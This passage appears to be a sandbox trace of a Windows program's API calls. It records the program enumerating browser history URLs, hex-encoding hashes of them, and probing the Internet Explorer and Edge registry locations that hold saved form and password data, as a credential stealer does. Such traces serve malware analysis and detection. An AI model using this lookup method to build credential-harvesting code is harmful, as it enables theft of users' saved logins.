lpString1="2978694820C397B090B403FE0FF2F0") returned="2978694820C397B090B403FE0FF2F0" [0053.626] lstrcatA (in: lpString1="2978694820C397B090B403FE0FF2F0", lpString2="3F" | out: lpString1="2978694820C397B090B403FE0FF2F03F") returned="2978694820C397B090B403FE0FF2F03F" [0053.626] LocalFree (hMem=0x758cb8) returned 0x0 [0053.626] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="3E") returned 2 [0053.626] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x755110 [0053.626] lstrcpyA (in: lpString1=0x755110, lpString2="2978694820C397B090B403FE0FF2F03F" | out: lpString1="2978694820C397B090B403FE0FF2F03F") returned="2978694820C397B090B403FE0FF2F03F" [0053.626] lstrcatA (in: lpString1="2978694820C397B090B403FE0FF2F03F", lpString2="3E" | out: lpString1="2978694820C397B090B403FE0FF2F03F3E") returned="2978694820C397B090B403FE0FF2F03F3E" [0053.626] LocalFree (hMem=0x755270) returned 0x0 [0053.626] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="53") returned 2 [0053.626] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x755270 [0053.626] lstrcpyA (in: lpString1=0x755270, lpString2="2978694820C397B090B403FE0FF2F03F3E" | out: lpString1="2978694820C397B090B403FE0FF2F03F3E") returned="2978694820C397B090B403FE0FF2F03F3E" [0053.626] lstrcatA (in: lpString1="2978694820C397B090B403FE0FF2F03F3E", lpString2="53" | out: lpString1="2978694820C397B090B403FE0FF2F03F3E53") returned="2978694820C397B090B403FE0FF2F03F3E53" [0053.626] LocalFree (hMem=0x755110) returned 0x0 [0053.626] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="1F") returned 2 [0053.626] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x755110 [0053.626] lstrcpyA (in: lpString1=0x755110, lpString2="2978694820C397B090B403FE0FF2F03F3E53" | out: lpString1="2978694820C397B090B403FE0FF2F03F3E53") returned="2978694820C397B090B403FE0FF2F03F3E53" [0053.626] lstrcatA (in: lpString1="2978694820C397B090B403FE0FF2F03F3E53", lpString2="1F" | out: lpString1="2978694820C397B090B403FE0FF2F03F3E531F") returned="2978694820C397B090B403FE0FF2F03F3E531F" [0053.626] LocalFree (hMem=0x755270) returned 0x0 [0053.626] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="FA") returned 2 [0053.626] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x750de0 [0053.626] lstrcpyA (in: lpString1=0x750de0, lpString2="2978694820C397B090B403FE0FF2F03F3E531F" | out: lpString1="2978694820C397B090B403FE0FF2F03F3E531F") returned="2978694820C397B090B403FE0FF2F03F3E531F" [0053.626] lstrcatA (in: lpString1="2978694820C397B090B403FE0FF2F03F3E531F", lpString2="FA" | out: lpString1="2978694820C397B090B403FE0FF2F03F3E531FFA") returned="2978694820C397B090B403FE0FF2F03F3E531FFA" [0053.626] LocalFree (hMem=0x755110) returned 0x0 [0053.626] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="9B") returned 2 [0053.626] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x750f50 [0053.626] lstrcpyA (in: lpString1=0x750f50, lpString2="2978694820C397B090B403FE0FF2F03F3E531FFA" | out: lpString1="2978694820C397B090B403FE0FF2F03F3E531FFA") returned="2978694820C397B090B403FE0FF2F03F3E531FFA" [0053.626] lstrcatA (in: lpString1="2978694820C397B090B403FE0FF2F03F3E531FFA", lpString2="9B" | out: lpString1="2978694820C397B090B403FE0FF2F03F3E531FFA9B") returned="2978694820C397B090B403FE0FF2F03F3E531FFA9B" [0053.626] LocalFree (hMem=0x750de0) returned 0x0 [0053.626] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.626] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.626] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.626] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.626] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.626] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.627] LocalFree (hMem=0x750f50) returned 0x0 [0053.627] CoTaskMemFree (pv=0x763978) [0053.627] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.627] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/jLbI/yJJxGlYJQvF.ppt", lpSrch="?") returned 0x0 [0053.627] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/jLbI/yJJxGlYJQvF.ppt") returned 84 [0053.627] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="FD") returned 2 [0053.627] LocalAlloc (uFlags=0x40, uBytes=0x83) returned 0x7607e0 [0053.627] lstrcpyA (in: lpString1=0x7607e0, lpString2="" | out: lpString1="") returned="" [0053.627] lstrcatA (in: lpString1="", lpString2="FD" | out: lpString1="FD") returned="FD" [0053.627] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="11") returned 2 [0053.627] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x760990 [0053.627] lstrcpyA (in: lpString1=0x760990, lpString2="FD" | out: lpString1="FD") returned="FD" [0053.627] lstrcatA (in: lpString1="FD", lpString2="11" | out: lpString1="FD11") returned="FD11" [0053.627] LocalFree (hMem=0x7607e0) returned 0x0 [0053.627] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="2C") returned 2 [0053.627] LocalAlloc (uFlags=0x40, uBytes=0x87) returned 0x7607e0 [0053.627] lstrcpyA (in: lpString1=0x7607e0, lpString2="FD11" | out: lpString1="FD11") returned="FD11" [0053.627] lstrcatA (in: lpString1="FD11", lpString2="2C" | out: lpString1="FD112C") returned="FD112C" [0053.627] LocalFree (hMem=0x760990) returned 0x0 [0053.627] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="BE") returned 2 [0053.627] LocalAlloc (uFlags=0x40, uBytes=0x89) returned 0x76a330 [0053.627] lstrcpyA (in: lpString1=0x76a330, lpString2="FD112C" | out: lpString1="FD112C") returned="FD112C" [0053.627] lstrcatA (in: lpString1="FD112C", lpString2="BE" | out: lpString1="FD112CBE") returned="FD112CBE" [0053.627] LocalFree (hMem=0x7607e0) returned 0x0 [0053.627] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="CA") returned 2 [0053.627] LocalAlloc (uFlags=0x40, uBytes=0x8b) returned 0x76a4f8 [0053.627] lstrcpyA (in: lpString1=0x76a4f8, lpString2="FD112CBE" | out: lpString1="FD112CBE") returned="FD112CBE" [0053.627] lstrcatA (in: lpString1="FD112CBE", lpString2="CA" | out: lpString1="FD112CBECA") returned="FD112CBECA" [0053.627] LocalFree (hMem=0x76a330) returned 0x0 [0053.627] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="72") returned 2 [0053.627] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x76a330 [0053.627] lstrcpyA (in: lpString1=0x76a330, lpString2="FD112CBECA" | out: lpString1="FD112CBECA") returned="FD112CBECA" [0053.627] lstrcatA (in: lpString1="FD112CBECA", lpString2="72" | out: lpString1="FD112CBECA72") returned="FD112CBECA72" [0053.627] LocalFree (hMem=0x76a4f8) returned 0x0 [0053.627] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="6A") returned 2 [0053.627] LocalAlloc (uFlags=0x40, uBytes=0x8f) returned 0x76a4f8 [0053.627] lstrcpyA (in: lpString1=0x76a4f8, lpString2="FD112CBECA72" | out: lpString1="FD112CBECA72") returned="FD112CBECA72" [0053.627] lstrcatA (in: lpString1="FD112CBECA72", lpString2="6A" | out: lpString1="FD112CBECA726A") returned="FD112CBECA726A" [0053.627] LocalFree (hMem=0x76a330) returned 0x0 [0053.627] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="3D") returned 2 [0053.627] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x763978 [0053.627] lstrcpyA (in: lpString1=0x763978, lpString2="FD112CBECA726A" | out: lpString1="FD112CBECA726A") returned="FD112CBECA726A" [0053.627] lstrcatA (in: lpString1="FD112CBECA726A", lpString2="3D" | out: lpString1="FD112CBECA726A3D") returned="FD112CBECA726A3D" [0053.627] LocalFree (hMem=0x76a4f8) returned 0x0 [0053.628] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="8E") returned 2 [0053.628] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x763ab8 [0053.628] lstrcpyA (in: lpString1=0x763ab8, lpString2="FD112CBECA726A3D" | out: lpString1="FD112CBECA726A3D") returned="FD112CBECA726A3D" [0053.628] lstrcatA (in: lpString1="FD112CBECA726A3D", lpString2="8E" | out: lpString1="FD112CBECA726A3D8E") returned="FD112CBECA726A3D8E" [0053.628] LocalFree (hMem=0x763978) returned 0x0 [0053.628] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="7A") returned 2 [0053.628] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x763978 [0053.628] lstrcpyA (in: lpString1=0x763978, lpString2="FD112CBECA726A3D8E" | out: lpString1="FD112CBECA726A3D8E") returned="FD112CBECA726A3D8E" [0053.628] lstrcatA (in: lpString1="FD112CBECA726A3D8E", lpString2="7A" | out: lpString1="FD112CBECA726A3D8E7A") returned="FD112CBECA726A3D8E7A" [0053.628] LocalFree (hMem=0x763ab8) returned 0x0 [0053.628] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="39") returned 2 [0053.628] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x763ab8 [0053.628] lstrcpyA (in: lpString1=0x763ab8, lpString2="FD112CBECA726A3D8E7A" | out: lpString1="FD112CBECA726A3D8E7A") returned="FD112CBECA726A3D8E7A" [0053.628] lstrcatA (in: lpString1="FD112CBECA726A3D8E7A", lpString2="39" | out: lpString1="FD112CBECA726A3D8E7A39") returned="FD112CBECA726A3D8E7A39" [0053.628] LocalFree (hMem=0x763978) returned 0x0 [0053.628] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="F5") returned 2 [0053.628] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x758cb8 [0053.628] lstrcpyA (in: lpString1=0x758cb8, lpString2="FD112CBECA726A3D8E7A39" | out: lpString1="FD112CBECA726A3D8E7A39") returned="FD112CBECA726A3D8E7A39" [0053.628] lstrcatA (in: lpString1="FD112CBECA726A3D8E7A39", lpString2="F5" | out: lpString1="FD112CBECA726A3D8E7A39F5") returned="FD112CBECA726A3D8E7A39F5" [0053.628] LocalFree (hMem=0x763ab8) returned 0x0 [0053.628] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="05") returned 2 [0053.628] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x758e08 [0053.628] lstrcpyA (in: lpString1=0x758e08, lpString2="FD112CBECA726A3D8E7A39F5" | out: lpString1="FD112CBECA726A3D8E7A39F5") returned="FD112CBECA726A3D8E7A39F5" [0053.628] lstrcatA (in: lpString1="FD112CBECA726A3D8E7A39F5", lpString2="05" | out: lpString1="FD112CBECA726A3D8E7A39F505") returned="FD112CBECA726A3D8E7A39F505" [0053.628] LocalFree (hMem=0x758cb8) returned 0x0 [0053.628] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="47") returned 2 [0053.628] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x758cb8 [0053.628] lstrcpyA (in: lpString1=0x758cb8, lpString2="FD112CBECA726A3D8E7A39F505" | out: lpString1="FD112CBECA726A3D8E7A39F505") returned="FD112CBECA726A3D8E7A39F505" [0053.628] lstrcatA (in: lpString1="FD112CBECA726A3D8E7A39F505", lpString2="47" | out: lpString1="FD112CBECA726A3D8E7A39F50547") returned="FD112CBECA726A3D8E7A39F50547" [0053.628] LocalFree (hMem=0x758e08) returned 0x0 [0053.628] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="52") returned 2 [0053.628] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x758e08 [0053.628] lstrcpyA (in: lpString1=0x758e08, lpString2="FD112CBECA726A3D8E7A39F50547" | out: lpString1="FD112CBECA726A3D8E7A39F50547") returned="FD112CBECA726A3D8E7A39F50547" [0053.628] lstrcatA (in: lpString1="FD112CBECA726A3D8E7A39F50547", lpString2="52" | out: lpString1="FD112CBECA726A3D8E7A39F5054752") returned="FD112CBECA726A3D8E7A39F5054752" [0053.628] LocalFree (hMem=0x758cb8) returned 0x0 [0053.628] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="26") returned 2 [0053.628] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x755110 [0053.628] lstrcpyA (in: lpString1=0x755110, lpString2="FD112CBECA726A3D8E7A39F5054752" | out: lpString1="FD112CBECA726A3D8E7A39F5054752") returned="FD112CBECA726A3D8E7A39F5054752" [0053.628] lstrcatA (in: lpString1="FD112CBECA726A3D8E7A39F5054752", lpString2="26" | out: lpString1="FD112CBECA726A3D8E7A39F505475226") returned="FD112CBECA726A3D8E7A39F505475226" [0053.628] LocalFree (hMem=0x758e08) returned 0x0 [0053.628] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="5F") returned 2 [0053.628] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x755270 [0053.628] lstrcpyA (in: lpString1=0x755270, lpString2="FD112CBECA726A3D8E7A39F505475226" | out: lpString1="FD112CBECA726A3D8E7A39F505475226") returned="FD112CBECA726A3D8E7A39F505475226" [0053.628] lstrcatA (in: lpString1="FD112CBECA726A3D8E7A39F505475226", lpString2="5F" | out: lpString1="FD112CBECA726A3D8E7A39F5054752265F") returned="FD112CBECA726A3D8E7A39F5054752265F" [0053.628] LocalFree (hMem=0x755110) returned 0x0 [0053.628] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="1F") returned 2 [0053.628] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x755110 [0053.628] lstrcpyA (in: lpString1=0x755110, lpString2="FD112CBECA726A3D8E7A39F5054752265F" | out: lpString1="FD112CBECA726A3D8E7A39F5054752265F") returned="FD112CBECA726A3D8E7A39F5054752265F" [0053.628] lstrcatA (in: lpString1="FD112CBECA726A3D8E7A39F5054752265F", lpString2="1F" | out: lpString1="FD112CBECA726A3D8E7A39F5054752265F1F") returned="FD112CBECA726A3D8E7A39F5054752265F1F" [0053.628] LocalFree (hMem=0x755270) returned 0x0 [0053.629] LocalFree (hMem=0x755110) returned 0x0 [0053.629] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.629] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.629] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.629] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.629] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.629] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.629] CoTaskMemFree (pv=0x751008) [0053.629] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.629] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/2xS9Su94RVD1fJ8.pptx", lpSrch="?") returned 0x0 [0053.629] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/2xS9Su94RVD1fJ8.pptx") returned 64 [0053.629] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.629] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.629] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.629] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.629] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.630] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.630] CoTaskMemFree (pv=0x760ab0) [0053.630] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.630] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/jLbI/pWs7o/b7JXWOYO49E59efDo.pptx", lpSrch="?") returned 0x0 [0053.630] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/jLbI/pWs7o/b7JXWOYO49E59efDo.pptx") returned 97 [0053.630] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.630] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.630] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.630] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.630] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.630] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.630] CoTaskMemFree (pv=0x768158) [0053.630] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.630] StrStrIW (lpFirst="file:///C:/Users/ADU0VK~1/Desktop/UPS_Slip_307086.doc", lpSrch="?") returned 0x0 [0053.630] lstrlenW (lpString="file:///C:/Users/ADU0VK~1/Desktop/UPS_Slip_307086.doc") returned 53 [0053.630] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.631] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.631] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.631] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.631] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.631] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.631] CoTaskMemFree (pv=0x7627a8) [0053.631] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.631] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/SP_W01qfEQow%20Xze%20Vd.jpg", lpSrch="?") returned 0x0 [0053.631] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/SP_W01qfEQow%20Xze%20Vd.jpg") returned 69 [0053.631] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.631] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.631] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.631] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.631] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.632] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.632] CoTaskMemFree (pv=0x76a628) [0053.632] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.632] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/jLbI/Q_BidTkXLKw_9KnQ/--5T-LWBO4qPlwr80xX/uu0sZFDg9q.pps", lpSrch="?") returned 0x0 [0053.632] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/jLbI/Q_BidTkXLKw_9KnQ/--5T-LWBO4qPlwr80xX/uu0sZFDg9q.pps") returned 120 [0053.632] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.632] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.632] RegOpenKeyExA (in: 